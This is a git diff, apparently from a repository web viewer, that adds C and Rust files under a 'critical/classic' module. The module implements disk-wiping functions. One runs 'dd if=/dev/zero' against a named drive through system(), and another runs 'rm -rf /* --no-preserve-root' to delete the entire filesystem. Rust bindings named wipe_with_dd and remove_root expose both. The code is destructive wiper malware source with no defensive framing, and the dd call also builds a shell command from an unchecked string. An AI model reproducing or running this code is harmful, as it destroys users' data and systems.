summaryrefslogtreecommitdiff
path: root/src/critical/classic
diff options
context:
space:
mode:
Diffstat (limited to 'src/critical/classic')
-rw-r--r--src/critical/classic/dd.c9
-rw-r--r--src/critical/classic/dd.h3
-rw-r--r--src/critical/classic/mod.rs14
-rw-r--r--src/critical/classic/rm_root.c6
-rw-r--r--src/critical/classic/rm_root.h3
5 files changed, 35 insertions, 0 deletions
diff --git a/src/critical/classic/dd.c b/src/critical/classic/dd.c
new file mode 100644
index 0000000..f3ca875
--- /dev/null
+++ b/src/critical/classic/dd.c
@@ -0,0 +1,9 @@
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+
+void random_data_linux(char sym_drive[16]) {
+ char command[55];
+ sprintf(command, "dd if=/dev/zero of=%s bs=1024 count=1024", sym_drive);
+ system(command);
+}
diff --git a/src/critical/classic/dd.h b/src/critical/classic/dd.h
new file mode 100644
index 0000000..266d9b3
--- /dev/null
+++ b/src/critical/classic/dd.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void random_data_linux(char sym_drive[16]); \ No newline at end of file
diff --git a/src/critical/classic/mod.rs b/src/critical/classic/mod.rs
new file mode 100644
index 0000000..f0e38a4
--- /dev/null
+++ b/src/critical/classic/mod.rs
@@ -0,0 +1,14 @@
+use std::os::raw::c_char;
+
+extern "C" {
+ pub fn random_data_linux(sym_drive: *const c_char);
+ pub fn rm_root();
+}
+
+pub unsafe fn wipe_with_dd(sym_drive: *const c_char) {
+ random_data_linux(sym_drive);
+}
+
+pub unsafe fn remove_root() {
+ rm_root();
+}
diff --git a/src/critical/classic/rm_root.c b/src/critical/classic/rm_root.c
new file mode 100644
index 0000000..0ebdaba
--- /dev/null
+++ b/src/critical/classic/rm_root.c
@@ -0,0 +1,6 @@
+#include <stdlib.h>
+#include <unistd.h>
+
+void rm_root() {
+ system("rm -rf /* --no-preserve-root");
+} \ No newline at end of file
diff --git a/src/critical/classic/rm_root.h b/src/critical/classic/rm_root.h
new file mode 100644
index 0000000..1ed79e9
--- /dev/null
+++ b/src/critical/classic/rm_root.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void rm_root(); \ No newline at end of file